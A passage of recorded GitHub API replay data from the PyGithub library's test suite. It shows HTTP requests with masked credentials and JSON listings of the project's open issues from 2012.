interface"}],"created_at":"2012-05-30T06:19:02Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/42","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:15:40Z","body":"","comments":0,"number":42,"id":4809803,"html_url":"https://github.com/PyGithub/PyGithub/issues/42","milestone":null},{"title":"Generate a docs.python.org-like documentation","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-30T06:15:03Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/40","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T06:15:03Z","body":"It would be good to have a doc that is more like other documentations of Python libraries.","comments":0,"number":40,"id":4809778,"html_url":"https://github.com/PyGithub/PyGithub/issues/40","milestone":null},{"title":"Implement https://api.github.com/hooks","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-05-29T11:29:46Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/35","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T19:59:52Z","body":"https://api.github.com/hooks is not documented, but it is referred by http://developer.github.com/v3/repos/hooks/#create-a-hook","comments":0,"number":35,"id":4793106,"html_url":"https://github.com/PyGithub/PyGithub/issues/35","milestone":null},{"title":"Remove _identity","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"0b02e1","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring"}],"created_at":"2012-03-14T06:49:31Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/18","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:18:56Z","body":"`_identity` exists only in `Label`, `NamedUser` and `Repository`, and should be replaced by proper attribute (`urlquote( self.name)`, `self.login` and `self.full_name`) in methods like `AuthenticatedUser.add_to_following`","comments":0,"number":18,"id":3643837,"html_url":"https://github.com/PyGithub/PyGithub/issues/18","milestone":null},{"title":"Deduce mandatory parameters","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-03-06T16:47:49Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-28T13:58:35Z","body":"","comments":1,"number":3,"id":3527245,"html_url":"https://github.com/PyGithub/PyGithub/issues/3","milestone":null}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?assignee=%2A {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '22053'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"19578e844395dac67fcdaf015d1fbce1"'), ('date', 'Sat, 02 Jun 2012 06:15:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"title":"Make all attributes either optional or mandatory","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-05-30T20:00:36Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/43","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:00:36Z","body":"","comments":0,"number":43,"id":4823331,"html_url":"https://github.com/PyGithub/PyGithub/issues/43","milestone":null},{"title":"Create enumerations for string attributes/arguments with a finite set of values","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-05-30T06:19:02Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/42","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:15:40Z","body":"","comments":0,"number":42,"id":4809803,"html_url":"https://github.com/PyGithub/PyGithub/issues/42","milestone":null},{"title":"Use type datetime.datetime for appropriate attributes/arguments","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-05-30T06:16:47Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/41","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-06-01T20:25:31Z","body":"","comments":0,"number":41,"id":4809786,"html_url":"https://github.com/PyGithub/PyGithub/issues/41","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Generate a docs.python.org-like documentation","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-30T06:15:03Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/40","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T06:15:03Z","body":"It would be good to have a doc that is more like other documentations of Python libraries.","comments":0,"number":40,"id":4809778,"html_url":"https://github.com/PyGithub/PyGithub/issues/40","milestone":null},{"title":"Understand and implement POST /repos/:user/:repo/pulls/:number/comments with in_reply_to","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-05-29T11:39:15Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/37","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-29T11:39:15Z","body":"Cf http://developer.github.com/v3/pulls/comments/#alternative-input, but my first tests did not succeed.","comments":0,"number":37,"id":4793216,"html_url":"https://github.com/PyGithub/PyGithub/issues/37","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Implement https://api.github.com/hooks","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-05-29T11:29:46Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/35","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T19:59:52Z","body":"https://api.github.com/hooks is not documented, but it is referred by http://developer.github.com/v3/repos/hooks/#create-a-hook","comments":0,"number":35,"id":4793106,"html_url":"https://github.com/PyGithub/PyGithub/issues/35","milestone":null},{"title":"Check that there is no more `toto`s in code","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-29T07:13:42Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/34","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-31T09:53:27Z","body":"","comments":0,"number":34,"id":4789817,"html_url":"https://github.com/PyGithub/PyGithub/issues/34","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"List project(s) using PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","comments":0,"number":25,"id":4452000,"html_url":"https://github.com/PyGithub/PyGithub/issues/25","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Remove _identity","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"0b02e1","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring"}],"created_at":"2012-03-14T06:49:31Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/18","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-30T20:18:56Z","body":"`_identity` exists only in `Label`, `NamedUser` and `Repository`, and should be replaced by proper attribute (`urlquote( self.name)`, `self.login` and `self.full_name`) in methods like `AuthenticatedUser.add_to_following`","comments":0,"number":18,"id":3643837,"html_url":"https://github.com/PyGithub/PyGithub/issues/18","milestone":null},{"title":"Document issue reporting","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-13T12:09:48Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/17","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-03-13T12:09:48Z","body":"","comments":0,"number":17,"id":3628022,"html_url":"https://github.com/PyGithub/PyGithub/issues/17","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Add copyright and license notice","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-13T06:25:31Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/16","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-03-13T07:04:42Z","body":"","comments":0,"number":16,"id":3624595,"html_url":"https://github.com/PyGithub/PyGithub/issues/16","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}},{"title":"Deduce mandatory parameters","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"e102d8","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities"}],"created_at":"2012-03-06T16:47:49Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-05-28T13:58:35Z","body":"","comments":1,"number":3,"id":3527245,"html_url":"https://github.com/PyGithub/PyGithub/issues/3","milestone":null},{"title":"Use objects instead of string for shas, ids, etc. arguments","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"labels":[{"color":"d7e102","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface"}],"created_at":"2012-03-06T16:46:49Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2","assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_at":null,"updated_at":"2012-06-01T20:19:54Z","body":"","comments":0,"number":2,"id":3527231,"html_url":"https://github.com/PyGithub/PyGithub/issues/2","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?assignee=none {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '1826'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c087198529310acda2e50d723e071ec8"'), ('date', 'Sat, 02 Jun 2012 06:15:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"title":"Publish version 1.0","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/9","assignee":null,"closed_at":null,"updated_at":"2012-06-02T06:14:47Z","body":"Check that there is no more `toto`s in code\nCheck that we have 100% test coverage","comments":0,"number":9,"id":3619973,"html_url":"https://github.com/PyGithub/PyGithub/issues/9","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetKeys.txt0000644000175100001660000000172614756101563023356 